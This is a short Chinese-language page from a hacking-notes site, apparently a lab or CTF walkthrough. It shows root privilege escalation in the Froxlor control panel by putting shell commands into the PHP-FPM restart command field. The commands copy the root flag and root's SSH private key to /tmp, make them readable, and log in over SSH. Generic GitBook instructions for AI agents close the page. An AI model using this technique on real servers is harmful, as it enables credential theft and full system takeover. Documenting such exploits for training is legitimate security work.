> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/froxlor-cms-exploitation.md).

# Froxlor

## 利用 Froxlor - PHP-FPM

<div data-full-width="false"><figure><img src="/files/bd59e553319d8ba534084c85e424c72d4bbc4fec" alt=""><figcaption></figcaption></figure></div>

**创建新 PHP 版本：**

登录后，前往 `PHP > PHP-FPM 版本` 并创建一个新版本。在 PHP-FPM 重启命令字段中输入： `cp /root/root.txt /tmp/root.txt`

<figure><img src="/files/d715d55015979a245e5d662c4b843745e21ec492" alt=""><figcaption></figcaption></figure>

保存配置，然后前往 `http://127.0.0.1:8081/admin_settings.php?start=phpfpm`. 禁用 PHP-FPM，保存，重新启用它，然后再次保存。这将触发复制命令。

<figure><img src="/files/aba608787d571436662bda5110d5fe381feb529e" alt=""><figcaption></figcaption></figure>

文件现在已复制；接下来调整权限：

<figure><img src="/files/cc653a1345575cb2193680bfc3f173a02c5b0dbd" alt=""><figcaption></figcaption></figure>

重复相同的过程，将命令替换为：

```bash
chmod 644 /tmp/root.txt
```

### root 标志：）

<figure><img src="/files/3ba64938164e2b9781633b2f6c368a2c4d1c9f7b" alt=""><figcaption></figcaption></figure>

要以 root 身份连接，请复制 root 的 SSH 密钥 `id_rsa` 并重复该过程以修复权限：

```bash
cp /root/.ssh/id_rsa /tmp/id_rsa
```

```bash
chmod 644 /tmp/root.txt
```

<figure><img src="/files/94f03a1e9ba7e716ef5622029f8faba082e3832e" alt=""><figcaption></figcaption></figure>

然后使用该密钥通过 SSH 连接：

```bash
ssh -i id_rsa root@localhost
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/froxlor-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
